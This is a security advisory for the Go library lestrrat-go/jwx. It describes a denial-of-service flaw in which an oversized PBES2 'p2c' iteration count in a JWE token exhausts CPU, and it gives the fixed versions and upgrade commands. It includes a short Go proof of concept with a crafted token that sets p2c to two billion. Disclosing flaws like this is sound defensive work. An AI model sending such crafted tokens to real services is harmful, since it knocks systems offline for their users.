GHSA-7f9x-gw85-8grf
lestrrat-go/jwx's malicious parameters in JWE can cause a DOS
Quick fix
GHSA-7f9x-gw85-8grf — github.com/lestrrat-go/jwx: upgrade to the fixed version with the command below.
go get github.com/lestrrat-go/jwx@v1.2.27Details
### Summary too high p2c parameter in JWE's alg PBES2-* could lead to a DOS attack
### Details The JWE key management algorithms based on PBKDF2 require a JOSE Header Parameter called p2c (PBES2 Count). This parameter dictates the number of PBKDF2 iterations needed to derive a CEK wrapping key. Its primary purpose is to intentionally slow down the key derivation function, making password brute-force and dictionary attacks more resource- intensive. Therefore, if an attacker sets the p2c parameter in JWE to a very large number, it can cause a lot of computational consumption, resulting in a DOS attack
### PoC ```go package main
import ( "fmt" "github.com/lestrrat-go/jwx/v2/jwa" "github.com/lestrrat-go/jwx/v2/jwe" "github.com/lestrrat-go/jwx/v2/jwk" )
func main() { token := []byte("eyJhbGciOiJQQkVTMi1IUzI1NitBMTI4S1ciLCJlbmMiOiJBMjU2R0NNIiwicDJjIjoyMDAwMDAwMDAwLCJwMnMiOiJNNzczSnlmV2xlX2FsSXNrc0NOTU9BIn0=.S8B1kXdIR7BM6i_TaGsgqEOxU-1Sgdakp4mHq7UVhn-_REzOiGz2gg.gU_LfzhBXtQdwYjh.9QUIS-RWkLc.m9TudmzUoCzDhHsGGfzmCA") key, err := jwk.FromRaw([]byte(`abcdefg`)) payload, err := jwe.Decrypt(token, jwe.WithKey(jwa.PBES2_HS256_A128KW, key)) if err == nil { fmt.Println(string(payload)) } }
```
### Impact It's a kind of Dos attack, the user's environment could potentially utilize an excessive amount of CPU resources.
Are you affected?
Enter the version of the package you're using.
Affected packages
0Fixed in: 1.2.27go get github.com/lestrrat-go/jwx@v1.2.270Fixed in: 2.0.18go get github.com/lestrrat-go/jwx/v2@v2.0.18